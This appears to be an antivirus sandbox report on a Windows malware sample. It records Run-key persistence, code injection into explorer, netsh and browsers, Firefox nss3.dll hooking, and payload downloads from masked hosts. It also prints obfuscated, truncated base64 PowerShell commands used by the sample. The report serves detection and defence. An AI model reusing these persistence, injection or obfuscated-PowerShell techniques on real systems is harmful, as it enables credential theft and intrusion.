Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'UFD4YRQ8ON' = '%ProgramFiles(x86)%\Fxbkdy8q\gzylfbx40ftb.exe'
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c p^ow^eRS^He^lL -E WwBzAFkAUwB0AEUATQAuAFQARQBYAFQALgBlAE4AQwBvAGQASQBOAEcAXQA6ADoAVQBOAEkAYwBvAGQAZQAuAGcAZQB0AFMAVAByAEkATgBHACgAWwBTAFkAcwB0AGUATQAuAGMAbwBuAHYARQBSAFQAXQA6ADoAZgBSAG8ATQBi...
Injects code into
the following system processes:
- %WINDIR%\explorer.exe
- %WINDIR%\syswow64\netsh.exe
the following user processes:
- skg_d_2_bk_vmalko.exe
- iexplore.exe
- firefox.exe
Hooks functions
in browsers
- firefox.exe process, nss3.dll module
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\syswow64\autofmt.exe
Modifies file system
Creates the following files
- %TEMP%\bit861a.tmp
- %APPDATA%\1p6-451e\1p6logri.ini
- %APPDATA%\1p6-451e\1p6logrv.ini
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %APPDATA%\1p6-451e\1p6logim.jpeg
- %APPDATA%\1p6-451e\1p6logrf.ini
Sets the 'hidden' attribute to the following files
- %TEMP%\bit861a.tmp
Deletes the following files
- %TEMP%\skg_d_2_bk_vmalko.exe
Moves the following files
- from %TEMP%\bit861a.tmp to %TEMP%\skg_d_2_bk_vmalko.exe
Network activity
TCP
HTTP GET requests
- http://mo####loa.online/jss/binns1.jpg
- http://www.ky###istyle.com/vd5/?8p####################################################################################
UDP
- DNS ASK mo####loa.online
- DNS ASK ky###istyle.com
- DNS ASK fi##.ltd
Miscellaneous
Creates and executes the following
- '%TEMP%\skg_d_2_bk_vmalko.exe'
- '<SYSTEM32>\cmd.exe' /c p^ow^eRS^He^lL -E WwBzAFkAUwB0AEUATQAuAFQARQBYAFQALgBlAE4AQwBvAGQASQBOAEcAXQA6ADoAVQBOAEkAYwBvAGQAZQAuAGcAZQB0AFMAVAByAEkATgBHACgAWwBTAFkAcwB0AGUATQAuAGMAbwBuAHYARQBSAFQAXQA6ADoAZgBSAG8ATQBi...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -E WwBzAFkAUwB0AEUATQAuAFQARQBYAFQALgBlAE4AQwBvAGQASQBOAEcAXQA6ADoAVQBOAEkAYwBvAGQAZQAuAGcAZQB0AFMAVAByAEkATgBHACgAWwBTAFkAcwB0AGUATQAuAGMAbwBuAHYARQBSAFQAXQA6ADoAZgBSAG8ATQBiAGEAUwBlADYANABTAH...
- '%WINDIR%\syswow64\netsh.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%TEMP%\Skg_D_2_BK_vMalko.exe"
- '%ProgramFiles(x86)%\mozilla firefox\firefox.exe'
